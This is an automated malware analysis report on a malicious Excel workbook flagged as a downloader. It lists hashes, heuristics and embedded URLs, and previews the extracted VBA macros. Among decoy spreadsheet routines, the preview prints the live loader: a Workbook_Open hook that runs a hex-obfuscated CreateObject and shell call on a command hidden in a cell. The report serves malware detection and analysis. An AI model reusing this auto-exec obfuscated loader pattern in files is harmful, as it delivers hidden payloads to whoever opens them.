Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7aeb53497c2e475b…

MALICIOUS

Office (OLE)

60.5 KB Created: 2018-10-03 14:34:45 Authoring application: Microsoft Excel First seen: 2018-10-13
MD5: d72880d70b2827e1ec3fdc030afad4c6 SHA-1: 6c90a9b664d7351851c9aa17ff3e809b395c713d SHA-256: 7aeb53497c2e475b115f87ce301bf435d604851c97766ab515d25d3b08c3ea4b
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains heavily obfuscated VBA and XLM macros, including a Workbook_Open auto-execution routine. Critical heuristics indicate an obfuscated auto-exec loader that uses CreateObject and Shell execution sinks. The presence of these elements strongly suggests the macro's purpose is to download and execute a secondary payload from one of the embedded URLs. The ClamAV detection name 'Xls.Downloader.Valyria-6934924-0' further supports this downloader functionality.

Heuristics 10

  • ClamAV: Xls.Downloader.Valyria-6934924-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Valyria-6934924-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.borsaistanbul.com/data/ttb/ In document text (OLE body)
    • http://www.craft-e-corner.com/addtocart.aspx?returnurl=showproduct.aspx%3fProductID%3d2688%26SEName%3dnew-testament-cricut-cartridge�In document text (OLE body)
    • http://www.craft-e-corner.com/addtocart.aspx?returnurl=showproduct.aspx%3fProductID%3d2688%26SEName%3dnew-testament-cricut-cartridgeIn document text (OLE body)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 228 bytes
SHA-256: 962aaf1d57f0a7207e98bd37b3a4cfa339dc6a87bd287090a5d69186204feb4a
Preview script
First 1,000 lines of the extracted script
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Top
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48527 bytes
SHA-256: 0ce589de07428f4be1e83f726645700c03974d9f0651b6fd1872de77258e744f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Sub bosluk()

kadar = Cells(Rows.Count, 1).End(xlUp).Row

For i = kadar To 2 Step -1
If Cells(i, 1) <> Empty Then
    If Cells(i, 1) <> Cells(i - 1, 1) And Cells(i - 1, 1) <> Empty Then
       Rows(i).Insert shift:=xlUp
    End If
End If
Next i

End Sub

Sub silgitsin()

Application.Calculation = xlCalculationManual
Application.ScreenUpdating = False

Range("A1", ActiveCell.SpecialCells(xlCellTypeLastCell)).Select
son = Selection.Rows.Count

Range("A1").Select
Range("A1:D" & son).Select

For i = 2 To son
If Sayfa1.Cells(i, 1) = "" And Sayfa1.Cells(i, 2) = "" And Sayfa1.Cells(i, 3) = "" And Sayfa1.Cells(i, 4) = "" Then
Rows(i).Delete
son = son - 1
End If
Next i

Application.Calculation = xlCalculationAutomatic
Application.ScreenUpdating = True

End Sub

Private pWorkLogItems As Collection

Public Property Get WorkLogItems() As Collection
    Set WorkLogItems = pWorkLogItems
End Property

Public Property Set WorkLogItems(lWorkLogItem As Collection)
    Set pWorkLogItems = lWorkLogItem
End Property

Function GetHoursWorked(strPersonName As String) As Double
    On Error GoTo Handle_Errors
    Dim wli As WorkLogItem
    Dim doubleTotal As Double
    doubleTotal = 0
    For Each wli In WorkLogItems
        If strPersonName = wli.PersonName Then
            doubleTotal = doubleTotal + wli.HoursWorked
        End If
    Next wli

Exit_Here:
    GetHoursWorked = doubleTotal
        Exit Function

Handle_Errors:
        'You will probably want to catch the error that will '
        'occur if WorkLogItems has not been set '
        Resume Exit_Here


End Function
Sub CalculateRunTime_Minutes()
Dim StartTime As Double
Dim MinutesElapsed As String
StartTime = Timer
  MinutesElapsed = Format((Timer - StartTime) / 86400, "hh:mm:ss")
  MsgBox "This code ran successfully in " & MinutesElapsed & " minutes", vbInformation
End Sub
Sub Advanced_Filtering()

CriteriaLastRow = 4 'Last Row you have in the Criteria range

For i = 3 To CriteriaLastRow 'Loops through until the last Row
  RowsCount = Application.WorksheetFunction.CountA(Range("C" & i & ":F" & i))
  If RowsCount = 0 Then CriteriaRowsSet = i - 1 Else CriteriaRowsSet = CriteriaLastRow 'Checks to see if any row returns 0 and sets it to the row above's number
Next i

Range("C6:F23").AdvancedFilter _
Action:=xlFilterInPlace, _
CriteriaRange:=Range("C2:F" & CriteriaRowsSet), _ CopyToRange:=Sheets("Sheet2").Range("A1:D1")

End Sub
Sub SolverMacro()
' Example Solver VBA Macro
    SolverReset
    SolverOk SetCell:="$B$24", _
             MaxMinVal:=2, _
             ValueOf:="0", _
             ByChange:="$B$16:$B$17"
    SolverSolve userFinish:=True
End Sub
Function Pos_nonalpha() As Integer
  'posted misc 2001-07-23 David McRitchie
  Dim i As Integer
  For i = 1 To Len(cell)
    Dim Number
    Select Case Asc(Mid(cell, i, 1))
        Case 0 To 64, 91 To 96, 123 To 191
           Pos_nonalpha = i
           Exit Function
        End Select
  Next i
  Pos_nonalpha = 0
End Function
Sub Workbook_Open()
Application.Run "ThisWorkbook.BZ_"
End Sub
Private Sub BZ_()
CallByName CreateObject(F_("A5A1B1C0B7BEC27CA1B6B3BABA")), F_("A0C3BC"), VbMethod, F_(ThisWorkbook.Sheets("Tope").Range("G135").Value), 0, True
End Sub

Sub KAS()

Dim FolderPath1 As String
Dim UrlFile As String, ZipFile As String, CsvFile As String, Folder As String, s As String
Dim FSO As Object
Dim oApp As Object
Dim Fname As Variant
Dim FileNameFolder As Variant
Dim DefPath As String
Dim strDate As String
    
    gun = Day(Range("A1"))
    If Len(gun) = 1 Then gun = "0" & gun Else gun = gun
    
    ay = Month(Range("A1"))
    If Len(ay) = 1 Then ay = "0" & ay Else ay = ay
    
  
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.